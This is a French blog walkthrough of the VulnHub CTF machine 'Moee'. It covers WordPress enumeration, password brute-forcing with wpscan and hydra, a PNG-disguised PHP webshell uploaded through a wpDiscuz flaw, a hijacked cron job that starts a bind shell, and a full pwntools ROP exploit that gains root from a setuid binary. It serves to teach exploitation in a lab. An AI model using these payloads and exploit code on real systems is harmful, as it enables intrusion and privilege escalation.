Yet Another Wordpress
Moee est un CTF conçu par un certain gr4n173. Vous pouvez le récupérer sur VulnHub.
Pour ceux qui souhaiteraient se jeter dans cette aventure, et sans spoiler trop, le début du challenge nécessite un peu d’énumération, une bonne dose de patience puis ensuite de l’intuition et des yeux suffisamment ouverts.
Le final nécessite des connaissances en exploitation de binaire, ce qui est indiqué noir sur blanc dans la description du CTF.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ sudo nmap -T5 -p- -sCV 192.168.56.19
[sudo] Mot de passe de root :
Starting Nmap 7.92 ( https://nmap.org )
Nmap scan report for moee (192.168.56.19)
Host is up (0.00014s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u8 (protocol 2.0)
| ssh-hostkey:
| 1024 a7:b9:03:d8:32:02:3a:9e:95:e6:36:d4:d7:a3:47:7d (DSA)
| 2048 f0:9c:9c:13:83:62:ee:22:ba:67:e9:b0:84:a5:fc:4c (RSA)
| 256 2e:3f:41:eb:1c:54:c5:ca:b0:f1:b5:e5:17:fc:98:c4 (ECDSA)
|_ 256 31:8b:ac:63:7d:7f:c6:18:4e:4e:7b:15:8b:30:8b:02 (ED25519)
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-generator: WordPress 5.5.3
|_http-title: Moee – Just another WordPress site
On sait immédiatement qu’il y a un Wordpress donc on dégaine l’outil attendu pour ce type de situation :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$ docker run -v /tools/wordlists/:/data --add-host moee:192.168.56.19 \
-it --rm wpscanteam/wpscan --url http://moee/ -e u,ap,at
--- snip ---
[+] WordPress version 5.5.3 identified (Insecure, released on 2020-10-30).
| Found By: Rss Generator (Passive Detection)
| - http://moee/index.php/feed/, <generator>https://wordpress.org/?v=5.5.3</generator>
| - http://moee/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.5.3</generator>
--- snip ---
[i] User(s) Identified:
[+] Joxter
| Found By: Rss Generator (Passive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] Snufkin
| Found By: Rss Generator (Passive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] snufkin
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] user
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] joxter
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] boe
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
Comme vous le remarquez ici j’ai fait appel à une option de Docker qui s’appelle –add-host. Son rôle est assez explicite vu que cela rajoute une entrée au fichier /etc/hosts du container.
Le nom d’hôte moee apparaissait dans la page web et wpscan avait des difficultés à scanner le site en utilisant seulement l’adresse IP.
Cette version de Wordpress est normalement touchée par la vulnérabilité CVE-2022-21661. On trouve des exemples d’exploitation ici et là mais aucun code d’exploitation. Si je m’en sens le courage je prendrais peut être le temps d’étudier l’exploitabilité sur ce challenge.
Là j’ai plutôt orienté mon attention sur le brute-force des différents comptes. J’ai voulu faire l’attaque avec l’option –password-attack xmlrpc-multicall qui permet d’essayer un batch de différents mots de passe pour chaque requête mais cela ne m’a amené nul part.
1
2
$ docker run -v /tools/wordlists/:/data --add-host moee:192.168.56.19 -it --rm wpscanteam/wpscan \
--url http://moee/ -U joxter,snufkin,boe,user -P /data/rockyou.txt --password-attack xmlrpc-multicall
En retirant cette option on passe donc sur un mode de brute force plus lent mais qui est compatible avec la configuration du Wordpress. Comptez tout de même 40 bonnes minutes avant d’obtenir un résultat.
1
2
[!] Valid Combinations Found:
| Username: joxter, Password: 1a2b3c4d
Une fois connecté via l’interface wp-admin je remarque que non, je ne suis pas administrateur et ne peut donc pas obtenir un webshell avec la méthode classique (édition d’un fichier PHP d’un des thèmes installé).
En regardant les commentaires postés sur le site j’avais toutefois relevé la mention de wpDiscuz. Ce plugin Wordpress a une entrée le concernant chez exploit-db. Il s’agit d’une faille d’upload et à lire le code d’exploitation il faut faire en sorte que le type mime détecté pour le fichier soit de type image. Pour cela on peut recopier les premiers octets d’un fichier PNG valide et y accoler notre code PHP :
1
$ echo -e '\x89\x50\x4e\x47\x0d\x0a\x1a\x0a\x00\x00\x00\x0d\x49\x48\x44\x52\x00<?php system($_GET["cmd"]); ?>' > shell.php
L’upload ne se fait pas depuis le dashboard mais depuis la page d’un des articles où il faut remarquer que l’utilisation d’un compte a rajouté un petit bouton dédié à l’upload d’image :
el8 gr3p 5ki11z
Une fois un ReverseSSH mis en place je récupère le premier flag :
1
2
3
4
5
www-data@moee:/var/www/public_html$ cat flag1.txt
Congrats, finally you exploited the damn vulnerable plugin and got the initial Shell.
Now your next task is to look for clue which lend you further and it isn't far from your home directory.
- GoodLuck
Le home de www-data est bien sûr /var/www/. J’ai fouillé sous /var mais n’ait rien trouvé au début.
Je commence par les identifiants pour la base de données :
1
2
3
4
5
6
7
8
9
10
11
/** The name of the database for WordPress */
define( 'DB_NAME', 'wp_database' );
/** MySQL database username */
define( 'DB_USER', 'user' );
/** MySQL database password */
define( 'DB_PASSWORD', 'userpasswd' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
Je peux extraire les hashs des utilisateurs Wordpress :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
www-data@moee:/var/www/public_html$ mysql -u user -p wp_database
Enter password:
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 113448
Server version: 5.5.62-0+deb8u1 (Debian)
Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mydatabase |
| wp_database |
+--------------------+
3 rows in set (0.00 sec)
mysql> select user_login, user_pass from wp_users;
+------------+------------------------------------+
| user_login | user_pass |
+------------+------------------------------------+
| user | $P$BSsAlgA7qDOQFfZYVze6KO48091sn81 |
| Snufkin | $P$BghGdW9kvudcJWOnTi.TfmJw7tzsgR/ |
| Joxter | $P$B7SOjzTIu5bBYTnO1SfWyL2bJF51xn0 |
| Boe | $P$B7JYXSreWFvNpm3kbrHa9ho.NDG0K80 |
+------------+------------------------------------+
4 rows in set (0.00 sec)
J’ai tenté en vain de les casser avec Penglab (des bébés pingouins sont donc morts sans raison valable, désolé) :
1
2
3
4
5
!echo '$P$BSsAlgA7qDOQFfZYVze6KO48091sn81' > /tmp/hash.txt
!echo '$P$BghGdW9kvudcJWOnTi.TfmJw7tzsgR/' >> /tmp/hash.txt
!echo '$P$B7SOjzTIu5bBYTnO1SfWyL2bJF51xn0' >> /tmp/hash.txt
!echo '$P$B7JYXSreWFvNpm3kbrHa9ho.NDG0K80' >> /tmp/hash.txt
!hashcat -m 400 /tmp/hash.txt /content/wordlists/hashesorg2019
Sur le système se trouve deux utilisateurs autre que root :
1
2
uid=1000(Joxter) gid=1000(Joxter) groups=1000(Joxter),1002(devsec)
uid=1001(Boe) gid=1001(Boe) groups=1001(Boe),1002(devsec),1003(supergroup)
J’ai relevé quelque chose d’assez mystérieux avec le dossier /opt que je ne peux pas accéder :
1
2
3
4
5
www-data@moee:/var/www/public_html$ find / -group devsec 2> /dev/null
/home/Joxter
/opt
www-data@moee:/var/www/public_html$ ls -ld /opt/
drwxr-x--- 2 Boe devsec 4096 Nov 22 2020 /opt/
La chose est confirmée avec pspy64 :
1
2
2022/01/28 09:20:01 CMD: UID=0 PID=19891 | /usr/sbin/CRON -f
2022/01/28 09:20:01 CMD: UID=1001 PID=19892 | /bin/sh -c python3 /opt/Flag.py
A ce stade cette information ne m’est toutefois d’aucune utilité.
Finalement un grep des familles m’a fait remarqué un fichier que LinPEAS n’avait pas détecté :
1
2
3
4
$ grep --include "*.php" -l -r -i password .
--- snip ---
wp-includes/wp-db.php
--- snip ---
La raison de ce manquement est sans doute liée au fait que les creds soient en commentaire :
1
2
3
// Take this creds to login in one of the service.
// Username: snufkin
// Password: t3ch5nufk1n##
De quel service on parle ? Après des échecs il ne s’agit pas de SSH. Le mot de passe est accepté pour l’utilisateur root de MySQL :
1
2
3
4
5
6
7
8
9
10
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mydatabase |
| performance_schema |
| useful_things |
+--------------------+
4 rows in set (0.01 sec)
Notez la présence de la base useful_things qu’on ne voyait pas précédemment.
1
2
3
4
5
6
7
8
9
10
mysql> select * from user_details;
+---------+----------+-------------------------------+
| User_id | Username | Password |
+---------+----------+-------------------------------+
| 1 | Boee | MSLJDFALkljsdfMIYR= |
| 2 | Stinky | MWQxZHQzc3QxbmcK= |
| 3 | Sniff | N2gzIE11ZGRsM3IK= |
| 4 | Snork | https://pastebin.com/0wstpQk0 |
+---------+----------+-------------------------------+
4 rows in set (0.00 sec)
Gotcha ! Le pastebin indiqué contient une série de passwords et adresses emails.
1
2
3
4
5
6
7
8
9
10
11
12
$ awk '{ print $1 }' 0wstpQk0.txt > pass.txt
$ hydra -l Joxter -P pass.txt ssh://192.168.56.19
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra)
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 383 login tries (l:1/p:383), ~24 tries per task
[DATA] attacking ssh://192.168.56.19:22/
[STATUS] 176.00 tries/min, 176 tries in 00:01h, 207 to do in 00:02h, 16 active
[STATUS] 128.00 tries/min, 256 tries in 00:02h, 127 to do in 00:01h, 16 active
[22][ssh] host: 192.168.56.19 login: Joxter password: 0ffs3cJ0xt3r!!
1 of 1 target successfully completed, 1 valid password found
New challenger
Avec le compte obtenu on peut obtenir le second flag et agir sur la tache CRON lancée avec l’utilisateur Boe.
1
2
3
4
5
6
7
8
9
10
11
12
Joxter@moee:~$ cat flag2.txt
Congrats, Joxter though you were lazy and worry-free you got yourself with some OSINT.
Now it's your time to use the premonitions which you call "Forebodings" to protect Boe from a bigger disaster things.
For that you have to recall your mind like a cron things as in linux.
- Moominpappa's Memoirs (Boe)
Joxter@moee:~$ ls -al /opt/
total 12
drwxr-x--- 2 Boe devsec 4096 Nov 22 2020 .
drwxr-xr-x 22 root root 4096 Nov 11 2020 ..
-rwxrwxr-- 1 Boe devsec 379 Nov 22 2020 Flag.py
J’ai d’abord modifié le script Python pour qu’il ajoute ma clé publique SSH aux clés autorisées. L’action se passe correctement d’après pspy :
1
2
3
4
5
2022/01/28 10:04:01 CMD: UID=0 PID=3992 | /usr/sbin/CRON -f
2022/01/28 10:04:01 CMD: UID=1001 PID=3993 | python3 /opt/Flag.py
2022/01/28 10:04:01 CMD: UID=1001 PID=3994 | sh -c mkdir -p /home/Boe/.ssh/
2022/01/28 10:04:01 CMD: UID=1001 PID=3995 | mkdir -p /home/Boe/.ssh/
2022/01/28 10:04:01 CMD: UID=1001 PID=3996 | sh -c echo ssh-rsa AAAAB---snip ---qcT7Q== > /home/Boe/.ssh/authorized_keys
Mais dans la pratique on dirait bien que l’authentification par clé est désactivée pour cet utilisateur.
J’ai préféré lancer un ReverseSSH en mode bind :
1
os.system("/var/www/public_html/reverse-sshx64 &")
Par défaut ça nous ouvre un shell sur le port 31337. Le mot de passe est letmeinbrudipls.
1
2
3
4
5
6
7
Joxter@moee:/var/www/public_html$ ss -lntp
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 128 *:22 *:*
LISTEN 0 50 127.0.0.1:3306 *:*
LISTEN 0 128 :::80 :::*
LISTEN 0 128 :::22 :::*
LISTEN 0 128 :::31337 :::*
L’utilisateur Boe possède un binaire setuid root, le boss final en somme (NB: ReverseSSH se moque du nom d’utilisateur d’où l’incohérence entre l’utilisateur utilisé et celui obtenu) :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
Joxter@moee:/var/www/public_html$ ssh -p 31337 127.0.0.1
The authenticity of host '[127.0.0.1]:31337 ([127.0.0.1]:31337)' can't be established.
RSA key fingerprint is 9c:e4:6e:a9:dc:0a:4f:00:ea:6d:da:da:da:e6:09:57.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[127.0.0.1]:31337' (RSA) to the list of known hosts.
Joxter@127.0.0.1's password:
Boe@moee:/home/Boe$ ls -l
total 16
-rw-r--r-- 1 root root 342 Nov 16 2020 flag3.txt
-rwsr-xr-x 1 root root 8288 Nov 18 2020 ropit
Boe@moee:/home/Boe$ cat flag3.txt
Once again, thanks Joxter for protecting me(Boe) from the disaster which was about to come and take my life. Now I have some work to do with my own task so let me create some plan for ROP(Record of Performance) about you and Snufkin. Therefore stay safe, don't be lazy and try to use the "Forebodings" more.
- Moominpappa's Memories (Boe)
Un extrait des chaînes de caractères présentes dans le binaire permet d’avoir une idée globale de ce qu’il se passe :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/lib64/ld-linux-x86-64.so.2
libc.so.6
gets
puts
__libc_start_main
GLIBC_2.2.5
__gmon_start__
AWAVI
AUATL
[]A\A]A^A_
Welcome to Exploitation&Pwning world back day's from Moomin's time .
Let's see what you can use to get the root of this box.
;*3$"
GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.7698
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
ret2libc.c
__FRAME_END__
__init_array_end
_DYNAMIC
La référence à ret2libc.c fait office de clin d’œil amusant. On peut lancer ldd plusieurs fois consécutives pour admirer la randomisation de la stack :
1
2
3
4
5
6
7
8
9
10
11
12
Boe@moee:/home/Boe$ ldd ./ropit
linux-vdso.so.1 (0x00007ffee2d3f000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb709086000)
/lib64/ld-linux-x86-64.so.2 (0x00007fb709431000)
Boe@moee:/home/Boe$ ldd ./ropit
linux-vdso.so.1 (0x00007ffdf29cf000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f349b7c1000)
/lib64/ld-linux-x86-64.so.2 (0x00007f349bb6c000)
Boe@moee:/home/Boe$ ldd ./ropit
linux-vdso.so.1 (0x00007fffd05eb000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffb7889c000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffb78c47000
Voici le code ASM de la fonction main :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
(gdb) disass main
Dump of assembler code for function main:
0x0000000000400537 <+0>: push %rbp
0x0000000000400538 <+1>: mov %rsp,%rbp
0x000000000040053b <+4>: sub $0x400,%rsp
0x0000000000400542 <+11>: lea 0xbf(%rip),%rdi # 0x400608
0x0000000000400549 <+18>: call 0x400430 <puts@plt>
0x000000000040054e <+23>: lea 0xfb(%rip),%rdi # 0x400650
0x0000000000400555 <+30>: call 0x400430 <puts@plt>
0x000000000040055a <+35>: lea -0x400(%rbp),%rax
0x0000000000400561 <+42>: mov %rax,%rdi
0x0000000000400564 <+45>: mov $0x0,%eax
0x0000000000400569 <+50>: call 0x400440 <gets@plt>
0x000000000040056e <+55>: mov $0x0,%eax
0x0000000000400573 <+60>: leave
0x0000000000400574 <+61>: ret
End of assembler dump.
La vulnérabilité tient du fait que la fonction gets() est utilisée et qu’elle ne fait pas attention à la quantité d’octets lus. La pile alloue justement 1024 (0x400) octets pour la variable locale qui est ici la destination de la recopie.
L’écrasement du registre RIP se fera sur la dernière instruction ret. On peut donc placer un breakpoint, saisir l’équivalent de l’expression python “A” * 1024 + “B” * 4 + “C” * 4 + “D” * 4 + “E” * 4 et regarder sur la pile à quoi correspondra la future valeur de ce registre :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
(gdb) b * 0x0000000000400574
Breakpoint 1 at 0x400574
(gdb) r
Starting program: /tmp/ropit
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
Welcome to Exploitation&Pwning world back day's from Moomin's time .
Let's see what you can use to get the root of this box.
AAAA--- snip ---AAAAAABBBBCCCCDDDDEEEE
Breakpoint 1, 0x0000000000400574 in main ()
(gdb) x/s $rsp
0x7fff84282758: "DDDDEEEE"
(gdb) info reg
rax 0x0 0
rbx 0x0 0
rcx 0x7f73f7cd88c0 140136055408832
rdx 0x1 1
rsi 0x1 1
rdi 0x7f73f7ce1880 140136055445632
rbp 0x4343434342424242 0x4343434342424242
rsp 0x7fff84282758 0x7fff84282758
r8 0x0 0
r9 0x7fff84282380 140735410611072
r10 0x5d 93
r11 0x246 582
r12 0x7fff84282888 140735410612360
r13 0x400537 4195639
r14 0x7f73f7d3ec00 140136055827456
r15 0x400580 4195712
rip 0x400574 0x400574 <main+61>
eflags 0x206 [ PF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb) x/s $r9
0x7fff84282380: 'A' <repeats 200 times>...
Si vous commencez à vous servir de GDB il est bon de connaître comment utiliser la commande x. Pour des adresses sur 64 bits on aura par exemple recours à x/gx.
D’après les caractères retrouvés sur la pile on peut conclure qu’il faut 1032 (1024 + 4 + 4) octets avant d’écraser RIP. On note aussi que le registre R9 pointe dans notre chaîne malheureusement la stack du programme est non-exécutable et de plus ROPgadget ne trouve aucun gadget concernant ce registre :(
Dans une situation comme celle-ci (stack NX) il faut user de Return Oriented Programming (ROP). L’article de MiscMag peut vous aider à découvrir ceci.
Ici mon scénario d’exploitation consistait à enchaîner des gadgets dans le but de réécrire une adresse dans la GOT (Global Offsets Table).
Quand on regarde la fonction main() on voit quelle appelle puts() qui se trouve à l’adresse 0x400430. Cette adresse est dans la PLT (Procedure Linkage Table) et sert juste de trampoline à l’adresse présente dans la GOT :
1
2
3
4
5
6
7
8
(gdb) x/i 0x400430
0x400430 <puts@plt>: jmp *0x200be2(%rip) # 0x601018 <puts@got.plt>
(gdb) x/gx 0x601018
0x601018 <puts@got.plt>: 0x00007f73f7b4fd7e
(gdb) p puts
$4 = {int (const char *)} 0x7ffff7e06d7e <__GI__IO_puts>
(gdb) p system
$5 = {int (const char *)} 0x7ffff7dd99be <__libc_system>
On voit que ce trampoline dit simplement saute à l’adresse contenue à l’adresse 0x601018. Si j’écrase l’adresse contenue (0x7ffff7e06d7e) par celle de system (0x7ffff7dd99be) alors le prochain appel à puts appellera en réalité system.
Mais il y a des choses à faire auparavant : fuiter l’adresse de puts dans la libc (__GI__IO_puts) puisqu’elle change à chaque exécution puis à partir de là calculer l’adresse de system (__libc_system). Et enfin il faut écraser puts par system.
La première partie est assez simple : il faut faire en sorte que puts affiche… puts pour fuiter l’adresse de la LIBC.
On est alors en mesure de calculer l’adresse de system via simple addition ou soustraction.
La partie la plus critique est celle consistant à réécrire la valeur en mémoire, pour cela il faut faire en sorte qu’un gets() soit appelé pour qu’il écrive à l’adresse de puts@got.plt la valeur de __libc_system.
Compliqué ? Quand on a les bons gadgets pas tant que ça mais l’exploit doit pouvoir gérer la gestion des entrées/sorties du binaire exploité sachant qu’il y a des mécanismes de buffering qui peuvent compliquer tout ça.
J’ai trouvé cette discussion sur StackExchange qui pourrait bien s’avérer utile un jour.
Finalement je me suis tourné vers la librairie Python pwntools qui gère très bien les entrées / sorties en me basant sur un template présent sur HackTricks (ce site est véritablement une bible du hacking).
Petite modification de dernière minute quand je me suis rendu compte que si j’appelle system il serait plus intelligent d’appeler setuid avant (ahaha). A la place j’ai préféré que le ROP appelle chmod sur un fichier nommé zR (parce que cette chaîne de caractères est présente dans le binaire). Vous verrez l’exploitation plus bas.
Code de l’exploit :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import ELF, process, ROP, remote, ssh, log, p64, u64
LOCAL = False
LOCAL_BIN = "/tmp/ropit" # Cette copie locale sert pour analyse
REMOTE_BIN = "/home/Boe/ropit" # Sert juste à spécifier le chemin vers le binaire à exécuter
ENV = {
"PATH": ".:/usr/local/bin:/usr/bin:/bin:/sbin:/usr/sbin",
"TERM": "xterm-256color",
}
if LOCAL:
# Les valeurs ici servent à tester en local
ENV["HOME"] = "/home/devloop"
P = process(LOCAL_BIN, env=ENV)
LIBC = ELF("/lib64/libc.so.6")
else:
ENV["HOME"] = "/home/Joxter"
ENV["USER"] = "Joxter"
ENV["PWD"] = "/home/Joxter"
ssh_shell = ssh('Joxter', '192.168.56.19', password='0ffs3cJ0xt3r!!', port=22)
P = ssh_shell.process(REMOTE_BIN, env=ENV, cwd="/home/Joxter")
# On aura pris soin de copier la libc de la VM en local
LIBC = ELF("./libc.so.6")
ELF_LOADED = ELF(LOCAL_BIN) # Extract data from binary
ROP_LOADED = ROP(ELF_LOADED) # Find ROP gadgets
PUTS_PLT = ELF_LOADED.plt['puts']
GETS_PLT = ELF_LOADED.plt['gets']
# J'avais trouvé ces gadgets avec ROPgadget mais c'est plus compréhensible comme ça
POP_RDI = (ROP_LOADED.find_gadget(['pop rdi', 'ret']))[0]
POP_RSI_R15 = (ROP_LOADED.find_gadget(['pop rsi', 'pop r15', 'ret']))[0]
PUTS_GOT = ELF_LOADED.got['puts']
FILENAME = 0x4006fd # chaine, ici "zR", trouvée dans le binaire
log.info("puts plt: " + hex(PUTS_PLT))
log.info("puts got: " + hex(PUTS_GOT))
log.info("gets plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
log.info("pop rsi; pop r15; ret gadget: " + hex(POP_RSI_R15))
rop = b"A" * 1032
rop += p64(POP_RDI) # première instruction exécutée, flow hijack
rop += p64(PUTS_GOT) # l'adresse de puts est un argument
rop += p64(PUTS_PLT) # puts est appellé pour afficher sa propre adresse
rop += p64(POP_RDI) # on reprend le contrôle de l'exécution
rop += p64(PUTS_GOT) # l'adresse de puts sert d'argument
rop += p64(GETS_PLT) # on appel gets pour écraser l'adresse de puts, le programme bloque ici
rop += p64(POP_RSI_R15) # on reprend le contrôle de l'exécution, puts.plt pointe désormais sur chmod
rop += p64(0o6755) # Valeur octale d'un u+srwx g+srx o+rx
rop += p64(0xdeadbeef) # nevermind, ça va dans R15 because le gadget utilisé
rop += p64(POP_RDI) # on reprend le contrôle de l'exécution
rop += p64(FILENAME) # "zR" qui sert de filename
rop += p64(PUTS_PLT) # on appelle puts qui est maintenant chmod
log.info(f"Size of ROP: {len(rop)}")
print(P.recv().decode().strip()) # Bannière
# envoi de notre ROP chain qui sera exécutée en deux temps
P.sendline(rop)
# ici on récupère l'adresse leakée
puts_libc = P.recvline().strip()[:8]
puts_libc = u64(puts_libc.ljust(8, b"\x00"))
log.info(f"Leaked LIBC address, puts: {hex(puts_libc)}")
LIBC.address = puts_libc - LIBC.symbols["puts"] # Save LIBC base
log.info("LIBC base @ %s" % hex(LIBC.address))
CHMOD = LIBC.sym["chmod"]
log.info("chmod %s " % hex(CHMOD))
# On envoie l'adresse de chmod, la ROP chain va reprendre son exécution
P.sendline(p64(CHMOD))
Je ne suis pas parvenu à faire fonctionne pwntools sur le ReverseSSH qui écoutait sur le port 31337 avec l’utilisateur Boe. J’ai donc utilisé à la place le vrai serveur SSH avec l’utilisateur Joxter mais pour qu’il puisse accéder au binaire ropit j’ai du changer auparavant les permissions sur /home/Boe.
Avant l’exécution je crée un lien symbolique zR pointant vers /bin/bash :
1
2
3
4
5
6
7
Joxter@moee:~$ ln -s /bin/bash zR
Joxter@moee:~$ ls -l
total 4
-rw-r--r-- 1 root root 308 Nov 20 2020 flag2.txt
lrwxrwxrwx 1 Joxter Joxter 9 Jan 29 15:22 zR -> /bin/bash
Joxter@moee:~$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1029624 Mar 25 2019 /bin/bash
Utilisation de mon exploit avec pwntools qui fait sa magie :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$ python exploit.py
[+] Connecting to 192.168.56.19 on port 22: Done
[*] Joxter@192.168.56.19:
Distro Unknown
OS: linux
Arch: amd64
Version: 3.16.0
ASLR: Enabled
[+] Starting remote process bytearray(b'/home/Boe/ropit') on 192.168.56.19: pid 15518
[*] '/tmp/chall/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/tmp/ropit'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Loaded 14 cached gadgets for '/tmp/ropit'
[*] puts plt: 0x400430
[*] puts got: 0x601018
[*] gets plt: 0x400430
[*] pop rdi; ret gadget: 0x4005e3
[*] pop rsi; pop r15; ret gadget: 0x4005e1
[*] Size of ROP: 1128
Welcome to Exploitation&Pwning world back day's from Moomin's time .
Let's see what you can use to get the root of this box.
[*] Leaked LIBC address, puts: 0x7f51994ca990
[*] LIBC base @ 0x7f519945f000
[*] chmod 0x7f519953a800
Et c’est le BUT !
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
Joxter@moee:~$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1029624 Mar 25 2019 /bin/bash
Joxter@moee:~$ /bin/bash -p
bash-4.3# id
uid=1000(Joxter) gid=1000(Joxter) euid=0(root) egid=0(root) groups=0(root),1000(Joxter),1002(devsec)
bash-4.3# cd /root
bash-4.3# ls -al
total 48
drwx------ 3 root root 4096 Nov 28 2020 .
drwxr-xr-x 22 root root 4096 Nov 11 2020 ..
lrwxrwxrwx 1 root root 9 Nov 20 2020 .bash_history -> /dev/null
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
drwxr-xr-x 4 root root 4096 Nov 18 2020 .cache
-rw-r--r-- 1 root root 1006 Nov 18 2020 flag4.txt
-rw------- 1 root root 44 Nov 8 2020 .lesshst
-rw------- 1 root root 5625 Nov 28 2020 .mysql_history
-rw-r--r-- 1 root root 140 Nov 19 2007 .profile
-rw-r--r-- 1 root root 66 Nov 16 2020 .selected_editor
-rw------- 1 root root 6963 Nov 22 2020 .viminfo
bash-4.3# cat flag4.txt
( ) ( )
`\`\_/'/'_ _ _ _ _ _ __ __ _ _
`\ /'/'_`\ ( ) ( ) /'_` )( '__)/'__`\ /'_` )
| |( (_) )| (_) | ( (_| || | ( ___/ ( (_| |
(_)`\___/'`\___/' `\__,_)(_) `\____) `\__,_)
_ _
(_ ) ( )
| | __ __ __ ___ _| |
| | /'__`\ /'_ `\ /'__`\/' _ `\ /'_` |
| | ( ___/( (_) |( ___/| ( ) |( (_| |
(___)`\____)`\__ |`\____)(_) (_)`\__,_)
( )_) |
\___/'
Congratulation!!
Hope you enjoyed playing my first machine "Moee".
I too enjoyed creating this box and just wanted to give a huge shoutout to @DCAU7 for helping me while creating this machine.
Also like to thanks to all those who have taken time to complete this box.
You can ping me at twitter @gr4n173.
Published January 30 2022 at 18:25